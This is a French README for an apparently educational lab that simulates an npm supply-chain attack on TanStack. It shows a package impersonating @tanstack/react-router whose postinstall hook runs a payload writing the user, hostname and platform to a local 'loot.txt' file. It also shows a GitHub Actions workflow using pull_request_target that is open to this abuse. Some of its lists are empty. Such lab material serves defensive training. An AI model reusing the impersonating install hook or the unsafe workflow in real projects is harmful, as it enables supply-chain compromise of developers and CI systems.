
Laboratoire éducatif simulant des attaques sur la chaîne d'approvisionnement npm, des abus CI/CD et l'exécution de code au moment de l'installation via CVE-2026-45321. Formation pratique en sécurité défensive avec déploiement local de paquets malveillants.
Laboratoire éducatif pour comprendre les attaques sur la chaîne d'approvisionnement npm, l'abus CI/CD et l'exécution de code au moment de l'installation
Ce projet est créé uniquement pour :
N'utilisez pas ce projet pour :
Ce laboratoire simule les concepts de base de l'incident :
La simulation est réalisée localement et en toute sécurité, sans :
lab/
├── fake-repo/ # Simulation du dépôt cible
├── attacker-package/ # Simulation du paquet malveillant
└── victim-project/ # Simulation de la victime
Paquet attaquant
↓
npm install
↓
le script postinstall s'exécute
↓
payload.js est exécuté automatiquement
↓
La victime subit une exécution au moment de l'installation
git clone https://github.com/renewablehacking/CVE-2026-45321-Tanstack.git
cd CVE-2026-45321-Tanstack
cd attacker-package
npm install
npm pack
Résultat :
tanstack-react-router-1.169.5.tgz
cd ../victim-project
npm install ../attacker-package/tanstack-react-router-1.169.5.tgz --foreground-scripts
Si réussi, le message suivant apparaît :
=== MALICIOUS PAYLOAD EXECUTED ===
et le fichier :
loot.txt
est créé automatiquement.
const os = require('os');
const fs = require('fs');
console.log("=== MALICIOUS PAYLOAD EXECUTED ===");
const info = `
USER=${process.env.USER}
HOST=${os.hostname()}
PLATFORM=${os.platform()}
`;
console.log(info);
fs.writeFileSync("loot.txt", info);
{
"name": "@tanstack/react-router",
"version": "1.169.5",
"scripts": {
"postinstall": "node payload.js"
}
}
Ce projet peut également être utilisé pour comprendre :
Exemple de workflow :
name: CI
on:
pull_request_target:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm install
| Simulation du lab | Monde réel |
|---|---|
| attacker-package | paquet TanStack compromis |
| payload.js | installateur malveillant |
Ce laboratoire est créé pour sensibiliser à :
| postinstall | abus du hook du cycle de vie |
| victim-project | développeur/CI victime |
| fake-repo | pipeline GitHub Actions |